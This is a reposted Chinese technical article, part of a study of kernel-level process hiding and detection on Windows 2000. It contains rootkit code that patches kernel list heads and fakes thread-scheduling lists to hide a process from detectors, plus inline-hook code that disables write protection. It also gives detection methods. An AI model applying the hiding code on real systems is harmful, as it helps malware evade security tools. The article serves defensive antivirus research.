• [转]Windows2000 内核级进程隐藏、侦测技术[二] - [技术资料]

    2009-01-06

    分类: 技术资料

    版权声明:转载时请以超链接形式标明文章原始出处和作者信息及本声明
    http://laybor.blogbus.com/logs/33512378.html


     
    4.       绕过内核调度链表隐藏进程。
    Xfocus上SoBeIt提出了绕过内核调度链表进程检测。详情可以参见原文:
    http://www.xfocus.net/articles/200404/693.html
    由于现在的基于线程调度的检测系统都是通过内核调试器得硬编码来枚举所有的调度线程的,所以我们完全可以自己创造一个那三个调度链表头,然后把原链表头从链中断开,把自己的申请的链表头接上去。由于线程调度的时候会用到KiFindReadyThread等内核API,在KiFindReadyThread里面又会去访问KiDispatcherReadyListHead,所以我完全可以把KiFindReadyThread中那段访问KiDispatcherReadyListHead的机器码修改了,把原KiDispatcherReadyListHead的地址改成我们新申请的头。
    kd> u KiFindReadyThread+0x48
    nt!KiFindReadyThread+0x48:
    804313db 8d34d5e0224880 lea esi,[nt!KiDispatcherReadyListHead (804822e0)+edx*8]
    很明显我们可以在机器码中看到e0224880,由于它是在内存中以byte序列显示的转换成DWORD就是804822e0就是我们KiDispatcherReadyListHead的地址。所以我们要做的就是把[804313db+3]赋值成我们自己申请的一个链头。使其系统以后对原链表头的操作变化成对我们自己申请的链表头的操作。同理用到那三个链表头的还有一些内核API,所以必须找到他们在机器码中含有原表头地址信息的具体地址然后把它全部替换掉。不然系统调度就会出错.系统中用到KiWaitInListHead的例程:KeWaitForSingleObject、 KeWaitForMultipleObject、 KeDelayExecutionThread、 KiOutSwapKernelStacks。用到KiWaitOutListHead的例程和KiWaitInListHead的一样。使用KiDispatcherReadyListHead的例程有:KeSetAffinityThread、KiFindReadyThread、KiReadyThread、KiSetPriorityThread、NtYieldExecution、KiScanReadyQueues、KiSwapThread。
    申请新的表头空间:
    pNewKiWaitInListHead =  (PLIST_ENTRY)ExAllocatePool \
                          (NonPagedPool,sizeof(LIST_ENTRY));
    pNewKiWaitOutListHead = (PLIST_ENTRY)ExAllocatePool \
                          (NonPagedPool, sizeof(LIST_ENTRY));
    pNewKiDispatcherReadyListHead = (PLIST_ENTRY)ExAllocatePool \
                         (NonPagedPool, 32 * sizeof(LIST_ENTRY));
     
     
    下面仅仅以pNewKiWaitInListHead头为例,其他的表头都是一样的操作。
    新调度链表的表头替换:
    InitializeListHead(pNewKiWaitInListHead);  
    把原来的系统链表头摘除,把新的接上去:
    pFirstEntry = pKiWaitInListHead->Flink;
    pLastEntry = pKiWaitInListHead->Blink;
    pNewKiWaitInListHead->Flink = pFirstEntry;
    pNewKiWaitInListHead->Blink = pLastEntry;
    pFirstEntry->Blink = pNewKiWaitInListHead;
    pLastEntry->Flink = pNewKiWaitInListHead;
     
     
    剩下的就是在原来的线程调度链表上做文章了使其基于线程调度检测系统看不出什么异端.
    for(;;)
    {
        InitializeListHead(pKiWaitInListHead);
        for(pEntry = pNewKiWaitInListHead->Flink;
        pEntry && pEntry != pNewKiWaitInListHead;
        pEntry = pEntry->Flink)
    {
    pETHREAD = (PETHREAD)(((PCHAR)pEntry)-0x5c);
    pEPROCESS = (PEPROCESS)(pETHREAD->Tcb.ApcState.Process);
            PID = *(PULONG)(((PCHAR)pEPROCESS)+0x9c);
            if(PID == 0x8)
                     continue;
    pFakeETHREAD = ExAllocatePool(PagedPool,sizeof(FAKE_ETHREAD));
            memcpy(pFakeETHREAD, pETHREAD,sizeof(FAKE_ETHREAD));
            InsertHeadList(pKiWaitInListHead, &pFakeETHREAD->WaitListEntry);
    }
    ...休息一段时间
    }
    首先每过一小段时间就把原来的线程调度链表清空,然后遍历当前的线程调度链,判断链中的每一个KPROCESS块是不是要属于要隐藏的进程线程,如果是就跳过,不是就自己构造一个ETHREAD块把当前的信息拷贝过去,然后把自己构造的ETHREAD块加入到原来的调度链表中。为什么要自己构造一个ETHREAD?其原因主要有2个,其一为了使检测系统看起来更可信,如果仅仅清空原来的线程调度链表那么检测系统将查不出来任何的线程和进程信息,
    很明显,这无疑不打自招的说,系统里面已经有东西了。其二,如果把自己构造的ETHREAD块挂接在原调度链表中,检测系统会访问挂在原来调度链表上的ETHREAD块里面的成员,如果不自己构造一个和真实ETHREAD块重要信息一样的块,那么检测系统很有可能出现非法访问,然后就boom兰屏了。
        实际上所谓的绕过系统检测仅仅是针对基于线程调度的检测进程的防御系统而言的,其实系统依旧在进行线程调度,访问的是我们新建的链表头部。而检测系统访问的是原来的头部,他后面的数据项是我们自己申请的,系统并不访问。
     
     
    5.       检测绕过内核调度链表隐藏进程
    一般情况下我们是通过内核调试器得到那三条链表的内核地址,然后进行枚举。这就给隐藏者留下了机会,如上面所示。但是我们完全可以把上面那种隐藏进程检测出来。我们也通过在内核函数中取得硬编码的办法来分别取得他们的链表头的地址。如上面我们已经看见了 KiFindReadyThread+0x48+3出就是KiDispatcherReadyListHead的地址,如果用上面的绕过内核调度链表检测办法同时也去要修改KiFindReadyThread+0x48+3的值为新链表的头部地址。所以我们的检测系统完全可以从KiFindReadyThread+0x48+3(0x804313de)去取得KiDispatcherReadyListHead的值。同理KiWaitInListHead, KiWaitOutListhead也都到使用他们的相应的内核函数里面去取得地址。就算原地址被修改过,我们也能把修改过后的调度链表头给找出来。所以欺骗就不行了。
     
     
    Hook 内核函数(KiReadyThread)检测进程
    1.       介绍通用Hook内核函数的方法
    当我们要拦截目标函数的时候,只要修改原函数头5个字节的机器代码为一个JMP XXXXXXXX(XXXXXXXX是距自己的Hook函数的偏移量)就行了。并且保存原来修改前的5个字节。在跳入原函数时,恢复那5个字节即可。
    char JmpMyCode [] = {0xE9,0x00,0x00,0x00,0x00};//E9对应Jmp偏移量指令
    *((ULONG*)(JmpMyCode+1))=(ULONG)MyFunc-(ULONG)OrgDestFunction-5;//获得偏移量
    memcpy(OrgCode,(char*)OrgDestFunction,5);//保存原来的代码
    memcpy((char*)OrgDestFunction,JmpMyCode,5);//覆盖前一个命令为一个跳转指令
    在系统内核级中,MS的很多信息都没公开,包括函数的参数数目,每个参数的类型等。在系统内核中,访问了大量的寄存器,而很多寄存器的值,是上层调用者提供的。如果值改变系统就会变得不稳定。很可能出现不可想象的后果。另外有时候对需要Hook的函数的参数不了解,所以不能随便就去改变它的堆栈,如果不小心也有可能导致蓝屏。所以Hook的最佳原则是在自己的Hook函数中呼叫原函数的时候,所有的寄存器值,堆栈里面的值和Hook前的信息一样。这样就能保证在原函数中不会出错。一般我们自己的Hook的函数都是写在C文件里面的。例如Hook的目标函数KiReadyThread。那么一般就自己实现一个:
    MyKiReadyThread(...)
    {
        ......
        call KiReadyThread
        ......
    }
    但是用C编译器编译出来的代码会出现一个堆栈帧:
    Push ebp
    mov ebp,esp
    这就和我们的初衷不改变寄存器的数违背了。所以我们可以自己用汇编来实MyKiReadyThread。
    _MyKiReadyThread @0 proc
        pushad     ;保存通用寄存器
        call _cfunc@0 ;这里是在进入原来函数前进行的一些处理。
        popad      ;恢复通用寄存器
        push eax  
        mov eax,[esp+4] ;得到系统在call 目标函数时入栈的返回地址。
        mov ds:_OrgRet,eax ;保存在一个临时变量中
        pop eax
    mov [esp],retaddr ;把目标函数的返回地址改成自己的代码空间的返回地址,使其返回后能接手继续的处理
        jmp _OrgDestFunction ;跳到原目标函数中
    retaddr:
        pushad         ;原函数处理完后保存寄存器
        call _HookDestFunction@0 ;再Hook
        popad     ;回复寄存器
        jmp ds:_OrgRet ;跳到系统调用目标函数的下一条指令。
    _MyKiReadyThread@0 endp
     
    在实现了Hook过后在当调用原来的函数时(jmp _OrgDestFunction),这个时候所以寄存器的值和堆栈信息和没Hook的时候一样。在返回到系统的时候(jmp ds:_OrgRet),这个时候的堆栈信息和寄存器的值和没有Hook的时候也是一样。就说是中间Hook层对下面和上面都是透明的。
     
     
    2.       检测隐藏进程
    在线程调度抢占的的时候会调用KiReadyThread,它的原型为:
    VOID FASTCALL KiReadyThread (IN PRKTHREAD Thread);
    在进入KiReadyThread时,ecx指向Thread。所以完全可以Hook KiReadyThread 然后用ecx的值得到但前线程的进程信息。KiReadyThread没被ntosknrl.exe导出,所以通过硬编码来。在2000Sp4中地址为0x8043141f。
    void cfunc (void)
    {
        ULONG PKHeader=0;
        __asm
        {
           mov PKHeader,ecx //ecx寄存器是KiReadyThread中的PRKTHREAD参数
        }
        ResumeDestFunction(); //恢复头5个字节
        
        if ( PKHeader != 0 )
        {
           DisplayName((PKTHREAD)PKHeader);  
        }  
    }
    cfun是Hook函数调用用来得到当前线程抢占的进程信息的。
     
     
    void DisplayName(PKTHREAD Thread)
    {
        PKPROCESS Process = Thread->ApcState.Process;
        PEPROCESS pEprocess = (PEPROCESS)Process;
        DbgPrint("ImageFileName = %s \n",pEprocess->ImageFileName);
    }
    void HookDestFunction() //设置头个字节为一个跳转指令,跳到自己的函数中去
    {
        DisableWriteProtect(&orgcr0);
        memcpy((char*)OrgDestFunction,JmpMyCode,5);
        EnableWriteProtect(orgcr0);
    }
    void ResumeDestFunction() //恢复头5个字节
    {
        DisableWriteProtect(&orgcr0);
        memcpy((char*)OrgDestFunction,OrgCode,5);
        EnableWriteProtect(orgcr0);
    }
    除了KiReadyThread其他还可以Hook其他内核函数,只有hook过后能得到线程或者是进程的ETHREAD或者是EPROCESS结构头地址。其Hook的方法都是一样的。Hook KiReadyThread基本原来说明了,详细实现可以见我的另外一篇文章《内核级利用通用Hook函数方法检测进程》。
     
    结论
        以上对内核级进程隐藏和侦测做了一个总结和对每一种方法的原理进行的详细阐述,并给出了核心的实现代码。
        信息安全将是未来发展的一个重点,攻击和侦测都有一个向底层靠拢的趋势。进程隐藏和侦测只是信息安全中的很小的一个部分。未来病毒和反病毒底层化是一个不可逆转的事实。通过对系统系统底层分析能更好的了解病毒技术,从而能够有效的进行查杀。为以后从事信息安全方面的研究奠定一个好的基础。
     
    致谢
    感谢重庆市信息安全技术中心提供实现和测试环境
    感谢龙老师和何老师的指点极其支持
     
    参考文献
    1.       Inside windows 2000
    2.       Inside Windows NT
    3.       Undocumented Windows NT
    4.       Undocumented Windows 2000
    5.       Windows Driver Model
    6.       WIN2000驱动程序设计
    7.       用ring3代码可靠地枚举Windows进程
    8.       绕过内核调度链表进程检测